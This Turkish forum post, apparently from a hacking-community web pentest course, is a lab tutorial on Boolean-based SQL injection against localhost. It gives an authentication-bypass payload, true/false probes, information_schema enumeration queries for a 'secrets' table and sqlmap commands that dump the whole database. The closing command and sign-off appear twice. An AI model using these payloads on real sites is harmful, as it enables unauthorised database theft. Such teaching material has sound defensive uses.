! Derse başlamadan önce hatırlatmam gereken, normalde gerçek site üzerinden gösterecektim fakat gövde konularına açacağım için,
Kendi laboratuar ortamımı kurdum ve sizlere güzel bir konu anlatmak istedim. !
Hepinize selamlar!
ben turkhackteam.org ben,
@u1ku1912
Bugün sizlere teorik ve pratik olmak üzere web pentest dersinin on ikinci bölümünü anlatıyor olacağım,
hazırsanız başlayalım.
Boolean Based SQL Injection Nedir?
Boolean-based SQL Injection, SQL Injection saldırılarında mantıksal değerlendirmeler üzerinden bilgi edinmeye çalışan, veritabanı yapısındaki güvenlik açıklarından faydalanan etkili bir tekniktir
Bu teknik, hedef sistemdeki veri tabanının hassas içeriklerini açığa çıkarmak için sunucudan gelen mantıksal yanıtları (True/False) yanıtları kullanır.
Saldıran bizler,
username='admin' AND 1=1 --
password=anything
Şu mantığa girer;
SELECT * FROM users WHERE username = 'admin' AND 1=1 --' AND password = 'anything';
Hazırladığım lab. ortamında yapalım.
Arkadaşlar web sitesine geldim, şimdi Boolean Based SQL açığı olup olmadığını anlamak için şunu yapıyorum.
http://localhost/?id=1 AND 1=1 eğer bu mantıksal soruma cevap vermez ise
http://localhost/?id=1 AND 1=2 diyeceğim.
MySQL hatası aldım yani kapıyı araladım. Şimdi bundan sonra 2 aşama ile çözümünü göstereceğim ya hazır exploit kullanablirsiniz yada sqlmap aracını kullanabilirsiniz. Eğer exploit yazabiliyorsanız ki bu çok zahmetli ve gereksizdir, peneterasyoncular için exploit yazar ve database leak edersiniz.
İlk olarak exploit tarıyorum.
Github'daki bu depoyu indiriyor ve ardından kullanıyorum.
Arkadaşlar exploit başarılı veritabanı ismini öğrenebilmek için d girdisi giriyorum.
Ve aşağıda mavi renkte gördüğünüz gibi veritabanı ismimiz holding_db bunun içerisinde hangi tablolar olduğunu öğrenebilmek adına şöyle bir parametre giriyorum.
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='holding_db'
Arkadaşlar secret tablosunu gördüm. Şimdi secret tablosunun içerisinde neler olduğunu anlamak için şu parametreyi giriyorum.
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='secrets'
Arkadaşlar sütun isimlerini ööğrenmiştim. Value sütunundaki verileri çekeceğim;
SELECT COUNT(*) FROM secrets
Manuel olarak yaparsak bu siteye göre tablo, sütuna göre değişmektedir lakin peneterasyon işlemleri için SQLMap kullanalım.
Yeni bir ekran açıyorum.
Veritabanı ismini öğrenmek istiyorum. SQL açık olduğunu biliyorum boşuna --dbs yapmıyorum
sqlmap -u "http://localhost/?id=1" --current-db
Veritabanın da sadece holding_db olduğunu gördüm ve içindeki verileri çekmek için şu parametreyi girdim;
sqlmap -u "http://localhost/?id=1" -D holding_db --dump-all --threads=10 --batch
Arkadaşlar bugün ki anlatacağım konu bu kadardı bir başka konuda görüşmek üzere esen kalın
sqlmap -u "http://localhost/?id=1" -D holding_db --dump-all --threads=10 --batch
Arkadaşlar bugün ki anlatacağım konu bu kadardı bir başka konuda görüşmek üzere esen kalın
Son düzenleme:

